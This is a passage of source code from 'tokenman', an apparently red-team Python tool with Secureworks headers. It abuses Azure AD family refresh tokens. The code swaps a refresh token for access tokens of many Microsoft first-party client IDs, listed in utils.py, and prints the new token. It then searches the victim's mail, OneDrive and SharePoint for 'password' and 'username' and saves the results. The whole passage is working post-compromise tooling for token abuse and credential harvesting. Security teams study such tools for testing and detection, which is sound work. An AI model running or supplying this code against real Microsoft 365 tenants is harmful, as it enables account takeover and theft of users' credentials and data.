utils 19 | from tokenman.module import ModuleBase 20 | from tokenman.state import RunState 21 | from typing import Any 22 | from typing import List 23 | from typing import Dict 24 | 25 | 26 | class Messages(ModuleBase): 27 | """Messages search class""" 28 | 29 | def _search( 30 | self, 31 | access_token: str, 32 | keywords: List[str] = utils.SEARCH_KEYWORDS, 33 | proxies: Dict[str, str] = None, 34 | ) -> Dict[str, Any]: 35 | """Search messages files via Graph API accessible by the given user 36 | https://docs.microsoft.com/en-us/graph/search-concept-files 37 | 38 | :param access_token: access token 39 | :param keywords: list of keywords to search 40 | :param proxies: http request proxy 41 | :returns: search results 42 | """ 43 | search = " OR ".join(keywords) # KQL logical OR 44 | return self.msgraph_search( 45 | self, 46 | entity_types=["message"], 47 | search=search, 48 | access_token=access_token, 49 | proxies=proxies, 50 | ) 51 | 52 | @classmethod 53 | def search( 54 | cls, 55 | state: RunState, 56 | keywords: List[str] = utils.SEARCH_KEYWORDS, 57 | ): 58 | """Search messages files via Graph API 59 | 60 | :param state: run state 61 | :param search: search term 62 | """ 63 | # Check if we have an access token for Office 64 | if not cls.check_token( 65 | cls, 66 | state.token_cache.access_token_payload, 67 | "Microsoft Office", 68 | ): 69 | if not state.token_cache.refresh_token: 70 | logging.error("No refresh token found to perform token exchange") 71 | return 72 | 73 | logging.debug(f"Acquiring new token for: 'Microsoft Office'") 74 | 75 | # Acquire a new token specific for Office 76 | new_token = cls.acquire_token( 77 | cls, 78 | refresh_token=state.token_cache.refresh_token, 79 | client_name="Microsoft Office", 80 | proxies=state.proxies, 81 | ) 82 | 83 | # Handle invalid token 84 | if not new_token: 85 | logging.error("Could not exchange for new token") 86 | return 87 | 88 | # Update state access token 89 | state.token_cache.access_token = new_token["access_token"] 90 | state.token_cache.refresh_token = new_token["refresh_token"] 91 | 92 | logging.info(f"Searching 'messages' for: {keywords}") 93 | 94 | # Search content for keywords 95 | results = cls._search( 96 | cls, 97 | access_token=state.token_cache.access_token, 98 | keywords=keywords, 99 | proxies=state.proxies, 100 | ) 101 | total_results = len(results["value"]) 102 | logging.info(f"\tSearch Results: {total_results}") 103 | 104 | # If search results found, write to output file 105 | if total_results > 0: 106 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 107 | filename = state.output / f"search.messages.{utc_now}.json" 108 | logging.info(f"\tOutput: {filename}") 109 | 110 | cls.write_json( 111 | cls, 112 | filename=filename, 113 | data=results, 114 | ) 115 | -------------------------------------------------------------------------------- /tokenman/search/onedrive.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman import utils 19 | from tokenman.module import ModuleBase 20 | from tokenman.state import RunState 21 | from typing import Any 22 | from typing import List 23 | from typing import Dict 24 | 25 | 26 | class OneDrive(ModuleBase): 27 | """OneDrive search class""" 28 | 29 | def _search( 30 | self, 31 | access_token: str, 32 | keywords: List[str] = utils.SEARCH_KEYWORDS, 33 | proxies: Dict[str, str] = None, 34 | ) -> Dict[str, Any]: 35 | """Search OneDrive files via Graph API accessible by the given user 36 | 37 | :param access_token: access token 38 | :param keywords: list of keywords to search 39 | :param proxies: http request proxy 40 | :returns: search results 41 | """ 42 | search = " OR ".join(keywords) # KQL logical OR 43 | return self.msgraph_fetch( 44 | self, 45 | path=f"me/drive/search(q='{search}')", 46 | access_token=access_token, 47 | proxies=proxies, 48 | ) 49 | 50 | @classmethod 51 | def search( 52 | cls, 53 | state: RunState, 54 | keywords: List[str] = utils.SEARCH_KEYWORDS, 55 | ): 56 | """Search OneDrive files via Graph API 57 | 58 | :param state: run state 59 | :param search: search term 60 | """ 61 | # Check if we have an access token for Office 62 | if not cls.check_token( 63 | cls, 64 | state.token_cache.access_token_payload, 65 | "Microsoft Office", 66 | ): 67 | if not state.token_cache.refresh_token: 68 | logging.error("No refresh token found to perform token exchange") 69 | return 70 | 71 | logging.debug(f"Acquiring new token for: 'Microsoft Office'") 72 | 73 | # Acquire a new token specific for Office 74 | new_token = cls.acquire_token( 75 | cls, 76 | refresh_token=state.token_cache.refresh_token, 77 | client_name="Microsoft Office", 78 | proxies=state.proxies, 79 | ) 80 | 81 | # Handle invalid token 82 | if not new_token: 83 | logging.error("Could not exchange for new token") 84 | return 85 | 86 | # Update state access token 87 | state.token_cache.access_token = new_token["access_token"] 88 | state.token_cache.refresh_token = new_token["refresh_token"] 89 | 90 | logging.info(f"Searching 'OneDrive' for: {keywords}") 91 | 92 | # Search content for keywords 93 | results = cls._search( 94 | cls, 95 | access_token=state.token_cache.access_token, 96 | keywords=keywords, 97 | proxies=state.proxies, 98 | ) 99 | total_results = len(results["value"]) 100 | logging.info(f"\tSearch Results: {total_results}") 101 | 102 | # If search results found, write to output file 103 | if total_results > 0: 104 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 105 | filename = state.output / f"search.onedrive.{utc_now}.json" 106 | logging.info(f"\tOutput: {filename}") 107 | 108 | cls.write_json( 109 | cls, 110 | filename=filename, 111 | data=results, 112 | ) 113 | -------------------------------------------------------------------------------- /tokenman/search/search.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman import utils 16 | from tokenman.search.messages import Messages 17 | from tokenman.search.onedrive import OneDrive 18 | from tokenman.search.sharepoint import SharePoint 19 | from tokenman.state import RunState 20 | from typing import List 21 | 22 | 23 | class Search: 24 | """Search command handler""" 25 | 26 | @classmethod 27 | def run( 28 | cls, 29 | state: RunState, 30 | modules: List[str], 31 | keywords: List[str] = utils.SEARCH_KEYWORDS, 32 | ): 33 | """Run the 'search' command 34 | 35 | :param state: run state 36 | :param modules: search modules to run 37 | :param keywords: keywords to search for 38 | """ 39 | # Run each module based on the provided flag data from the user 40 | if any(m in modules for m in ["messages"]): 41 | Messages.search(state=state, keywords=keywords) 42 | 43 | if any(m in modules for m in ["onedrive"]): 44 | OneDrive.search(state=state, keywords=keywords) 45 | 46 | # Perform this last in case 'all' modules are run, as this module 47 | # requires a different access token 48 | if any(m in modules for m in ["sharepoint"]): 49 | SharePoint.search(state=state, keywords=keywords) 50 | -------------------------------------------------------------------------------- /tokenman/search/sharepoint.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman import utils 19 | from tokenman.module import ModuleBase 20 | from tokenman.state import RunState 21 | from typing import Any 22 | from typing import List 23 | from typing import Dict 24 | 25 | 26 | class SharePoint(ModuleBase): 27 | """SharePoint search class""" 28 | 29 | def _search( 30 | self, 31 | access_token: str, 32 | keywords: List[str] = utils.SEARCH_KEYWORDS, 33 | proxies: Dict[str, str] = None, 34 | ) -> Dict[str, Any]: 35 | """Search SharePoint files via Graph API accessible by the given user 36 | https://docs.microsoft.com/en-us/graph/search-concept-files 37 | 38 | :param access_token: access token 39 | :param keywords: list of keywords to search 40 | :param proxies: http request proxy 41 | :returns: search results 42 | """ 43 | search = " OR ".join(keywords) # KQL logical OR 44 | return self.msgraph_search( 45 | self, 46 | entity_types=["driveItem", "listItem", "list"], 47 | search=search, 48 | access_token=access_token, 49 | proxies=proxies, 50 | ) 51 | 52 | @classmethod 53 | def search( 54 | cls, 55 | state: RunState, 56 | keywords: List[str] = utils.SEARCH_KEYWORDS, 57 | ): 58 | """Search SharePoint files via Graph API 59 | 60 | :param state: run state 61 | :param search: search term 62 | """ 63 | # Check if we have an access token for SharePoint 64 | if not cls.check_token( 65 | cls, 66 | state.token_cache.access_token_payload, 67 | "SharePoint", 68 | ): 69 | if not state.token_cache.refresh_token: 70 | logging.error("No refresh token found to perform token exchange") 71 | return 72 | 73 | logging.debug(f"Acquiring new token for: 'SharePoint'") 74 | 75 | # Acquire a new token specific for SharePoint 76 | new_token = cls.acquire_token( 77 | cls, 78 | refresh_token=state.token_cache.refresh_token, 79 | client_name="SharePoint", 80 | proxies=state.proxies, 81 | ) 82 | 83 | # Handle invalid token 84 | if not new_token: 85 | logging.error("Could not exchange for new token") 86 | return 87 | 88 | # Update state access token 89 | state.token_cache.access_token = new_token["access_token"] 90 | state.token_cache.refresh_token = new_token["refresh_token"] 91 | 92 | logging.info(f"Searching 'SharePoint' for: {keywords}") 93 | 94 | # Search content for keywords 95 | results = cls._search( 96 | cls, 97 | access_token=state.token_cache.access_token, 98 | keywords=keywords, 99 | proxies=state.proxies, 100 | ) 101 | total_results = len(results["value"]) 102 | logging.info(f"\tSearch Results: {total_results}") 103 | 104 | # If search results found, write to output file 105 | if total_results > 0: 106 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 107 | filename = state.output / f"search.sharepoint.{utc_now}.json" 108 | logging.info(f"\tOutput: {filename}") 109 | 110 | cls.write_json( 111 | cls, 112 | filename=filename, 113 | data=results, 114 | ) 115 | -------------------------------------------------------------------------------- /tokenman/state.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from pathlib import Path 16 | from tokenman.cache import TokenCache 17 | 18 | 19 | class RunState: 20 | """Run state management""" 21 | 22 | def __init__( 23 | self, 24 | token_cache: TokenCache, 25 | output: Path, 26 | proxy: str = None, 27 | ): 28 | """Initialize run state 29 | 30 | Maintain a state of the current AAD token cache, 31 | as well as proxy and output settings for the run. 32 | 33 | :param token_cache: token cache 34 | :param output: output directory object 35 | :param proxy: http proxy url 36 | """ 37 | self.token_cache = token_cache 38 | self.output = output 39 | 40 | self.proxies = None 41 | if proxy: 42 | self.proxies = {"http": proxy, "https": proxy} 43 | -------------------------------------------------------------------------------- /tokenman/swap/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman.swap.swap import Swap 16 | -------------------------------------------------------------------------------- /tokenman/swap/swap.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import List 21 | 22 | 23 | class Swap(ModuleBase): 24 | """Swap command handler""" 25 | 26 | @classmethod 27 | def run( 28 | cls, 29 | state: RunState, 30 | client_id: str, 31 | resource: str, 32 | scope: List[str], 33 | ): 34 | """Run the 'swap' command 35 | 36 | :param state: run state 37 | :param client_id: client id to exchange token for 38 | :param resource: token audience 39 | :param scope: token scope 40 | """ 41 | if not state.token_cache.refresh_token: 42 | logging.error("No refresh token found to perform token exchange") 43 | return 44 | 45 | logging.info(f"Acquiring new token for: '{client_id}'") 46 | 47 | # Acquire a new token specific for Office 48 | new_token = cls.acquire_token( 49 | cls, 50 | refresh_token=state.token_cache.refresh_token, 51 | client_id=client_id, 52 | resource=resource, 53 | scope=scope, 54 | proxies=state.proxies, 55 | ) 56 | 57 | # Handle invalid token 58 | if not new_token: 59 | logging.error("No access token retrieved") 60 | return 61 | 62 | state.token_cache.access_token = new_token["access_token"] 63 | state.token_cache.refresh_token = new_token["refresh_token"] 64 | 65 | # Get UPN from token if possible, fail over to 'token' 66 | upn = ( 67 | state.token_cache.access_token_payload.get("unique_name", None) 68 | or state.token_cache.access_token_payload.get("upn", None) 69 | or "token" 70 | ) 71 | 72 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 73 | filename = state.output / f"{upn}.{client_id}.{utc_now}.json" 74 | logging.info(f"\tOutput: {filename}") 75 | 76 | cls.write_json( 77 | cls, 78 | filename=filename, 79 | data=new_token, 80 | ) 81 | 82 | # Only for the 'swap' command, output retrieved data, specifically the 83 | # new access token for ease of use 84 | logging.info(f'\tAccess Token:\n\n{new_token["access_token"]}') 85 | -------------------------------------------------------------------------------- /tokenman/utils.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # fmt: off 16 | 17 | import base64 18 | import json 19 | import jwt # type: ignore 20 | import logging 21 | import sys 22 | from colorama import init # type: ignore 23 | from colorama import Fore # type: ignore 24 | from tokenman import __version__ 25 | from typing import Any 26 | from typing import Dict 27 | 28 | 29 | # Init colorama to switch between Windows and Linux 30 | if sys.platform == "win32": 31 | init(convert=True) 32 | 33 | 34 | FETCH_MODULES = [ 35 | "applications", 36 | "drives", 37 | "emails", 38 | "groups", 39 | "organizations", 40 | "serviceprincipals", 41 | "users", 42 | ] 43 | 44 | SEARCH_MODULES = [ 45 | "messages", 46 | "onedrive", 47 | "sharepoint", 48 | ] 49 | 50 | # Default search keywords 51 | SEARCH_KEYWORDS = [ 52 | "password", 53 | "username", 54 | ] 55 | 56 | # FOCI application client ID map 57 | FOCI_CLIENT_IDS = { 58 | "Accounts Control UI": "a40d7d7d-59aa-447e-a655-679a4107e548", 59 | "Microsoft Authenticator App": "4813382a-8fa7-425e-ab75-3b753aab3abb", 60 | "Microsoft Azure CLI": "04b07795-8ddb-461a-bbee-02f9e1bf7b46", 61 | "Microsoft Azure PowerShell": "1950a258-227b-4e31-a9cf-717495945fc2", 62 | "Microsoft Bing Search for Microsoft Edge": "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8", 63 | "Microsoft Bing Search": "cf36b471-5b44-428c-9ce7-313bf84528de", 64 | "Microsoft Edge": "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34", 65 | "Microsoft Edge (1)": "e9c51622-460d-4d3d-952d-966a5b1da34c", 66 | "Microsoft Edge AAD BrokerPlugin": "ecd6b820-32c2-49b6-98a6-444530e5a77a", 67 | "Microsoft Flow": "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0", 68 | "Microsoft Intune Company Portal": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", 69 | "Microsoft Office": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 70 | "Microsoft Planner": "66375f6b-983f-4c2c-9701-d680650f588f", 71 | "Microsoft Power BI": "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12", 72 | "Microsoft Stream Mobile Native": "844cca35-0656-46ce-b636-13f48b0eecbd", 73 | "Microsoft Teams - Device Admin Agent": "87749df4-7ccf-48f8-aa87-704bad0e0e16", 74 | "Microsoft Teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264", 75 | "Microsoft To-Do client": "22098786-6e16-43cc-a27d-191a01a1e3b5", 76 | "Microsoft Tunnel": "eb539595-3fe1-474e-9c1d-feb3625d1be5", 77 | "Microsoft Whiteboard Client": "57336123-6e14-4acc-8dcf-287b6088aa28", 78 | "Office 365 Management": "00b41c95-dab0-4487-9791-b9d2c32c80f2", 79 | "Office UWP PWA": "0ec893e0-5785-4de6-99da-4ed124e5296c", 80 | "OneDrive iOS App": "af124e86-4e96-495a-b70a-90f90ab96707", 81 | "OneDrive SyncEngine": "ab9b8c07-8f02-4f72-87fa-80105867a763", 82 | "OneDrive": "b26aadf8-566f-4478-926f-589f601d9c74", 83 | "Outlook Mobile": "27922004-5251-4030-b22d-91ecd9a37ea4", 84 | "PowerApps": "4e291c71-d680-4d0e-9640-0a3358e31177", 85 | "SharePoint Android": "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d", 86 | "SharePoint": "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0", 87 | "Visual Studio": "872cd9fa-d31f-45e0-9eab-6e460a02d1f1", 88 | "Windows Search": "26a7ee05-5602-4d76-a7ba-eae8b7b67941", 89 | "Yammer iPhone": "a569458c-7f2b-45cb-bab9-b7dee514d112", 90 | } 91 | 92 | BANNER = f""" 93 | : 94 | t#, G: ,;L. L. 95 | ;##W. E#, : f#i EW: ,ft {Fore.RED} {Fore.RESET} EW: ,ft 96 | GEEEEEEEL :#L:WE E#t .GE .E#t E##; t#E {Fore.RED} .. :{Fore.RESET} .. E##; t#E 97 | ,;;L#K;;. .KG ,#D E#t j#K; i#W, E###t t#E {Fore.RED} ,W, .Et{Fore.RESET} ;W, E###t t#E 98 | t#E EE ;#f E#GK#f L#D. E#fE#f t#E {Fore.RED} t##, ,W#t{Fore.RESET} j##, E#fE#f t#E 99 | t#E f#. t#i E##D. :K#Wfff; E#t D#G t#E {Fore.RED} L###, j###t{Fore.RESET} G###, E#t D#G t#E 100 | t#E :#G GK E##Wi i##WLLLLt E#t f#E. t#E {Fore.RED} .E#j##, G#fE#t{Fore.RESET} :E####, E#t f#E. t#E 101 | t#E ;#L LW. E#jL#D: .E#L E#t t#K: t#E {Fore.RED} ;WW; ##,:K#i E#t{Fore.RESET} ;W#DG##, E#t t#K: t#E 102 | t#E t#f f#: E#t ,K#j f#E: E#t ;#W,t#E {Fore.RED} j#E. ##f#W, E#t{Fore.RESET} j###DW##, E#t ;#W,t#E 103 | t#E f#D#; E#t jD ,WW; E#t :K#D#E {Fore.RED} .D#L ###K: E#t{Fore.RESET} G##i,,G##, E#t :K#D#E 104 | t#E G#t j#t .D#; E#t .E##E {Fore.RED}:K#t ##D. E#t{Fore.RESET} :K#K: L##, E#t .E##E 105 | fE t ,; tt .. G#E {Fore.RED}... #G ...{Fore.RESET};##D. L##, .. G#E 106 | : fE {Fore.RED} j {Fore.RESET},,, .,, fE 107 | , {Fore.RED} {Fore.RESET} , 108 | v{__version__} 109 | 110 | """ 111 | 112 | class bcolors: 113 | """Color codes for colorized terminal output""" 114 | 115 | HEADER = Fore.MAGENTA 116 | OKBLUE = Fore.BLUE 117 | OKCYAN = Fore.CYAN 118 | OKGREEN = Fore.GREEN 119 | WARNING = Fore.YELLOW 120 | FAIL = Fore.RED 121 | ENDC = Fore.RESET 122 | 123 | 124 | class LoggingLevels: 125 | CRITICAL = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "crit" 126 | WARNING = f"{bcolors.WARNING}%s{bcolors.ENDC}" % "warn" 127 | DEBUG = f"{bcolors.OKBLUE}%s{bcolors.ENDC}" % "debug" 128 | ERROR = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "fail" 129 | INFO = f"{bcolors.OKGREEN}%s{bcolors.ENDC}" % "info" 130 | 131 | 132 | def init_logger(debug: bool): 133 | """Initialize program logging 134 | 135 | :param debug: debug enabled/disabled 136 | """ 137 | if debug: 138 | logging_level = logging.DEBUG 139 | logging_format = ("[%(asctime)s] [%(levelname)-5s] %(filename)17s:%(lineno)-4s - %(message)s") 140 | else: 141 | logging_level = logging.INFO 142 | logging_format = "[%(asctime)s] [%(levelname)-5s] %(message)s" 143 | 144 | logging.basicConfig(format=logging_format, level=logging_level) 145 | 146 | # Handle color output 147 | logging.addLevelName(logging.CRITICAL, LoggingLevels.CRITICAL) 148 | logging.addLevelName(logging.WARNING, LoggingLevels.WARNING) 149 | logging.addLevelName(logging.DEBUG, LoggingLevels.DEBUG) 150 | logging.addLevelName(logging.ERROR, LoggingLevels.ERROR) 151 | logging.addLevelName(logging.INFO, LoggingLevels.INFO) 152 | 153 | def pad_base64(data: str) -> str: 154 | """Pad a Base64 string 155 | 156 | :param data: base64 encoded string 157 | :returns: padded base64 encoded string 158 | """ 159 | data = data + ("=" * (4 - (len(data) % 4))) 160 | return data 161 | 162 | def base64_to_json(data: str) -> Dict[Any, Any]: 163 | """Base64 decode JSON string and convert to Python 164 | dictionary 165 | 166 | Leave error handling to the calling functions for 167 | more clear error output 168 | 169 | :param data: base64 encoded string 170 | :returns: json dictionary 171 | """ 172 | data = base64.b64decode(data) 173 | data = json.loads(data) 174 | return data 175 | 176 | def decode_jwt(token: str) -> Dict[Any, Any]: 177 | """Decode access token JWT 178 | 179 | Leave error handling to the calling functions for 180 | more clear error output 181 | 182 | :param token: access token 183 | :returns: decoded jwt payload 184 | """ 185 | payload = jwt.decode( 186 | token, 187 | algorithms=["RS256"], 188 | options={"verify_signature": False} 189 | ) 190 | return payload 191 | --------------------------------------------------------------------------------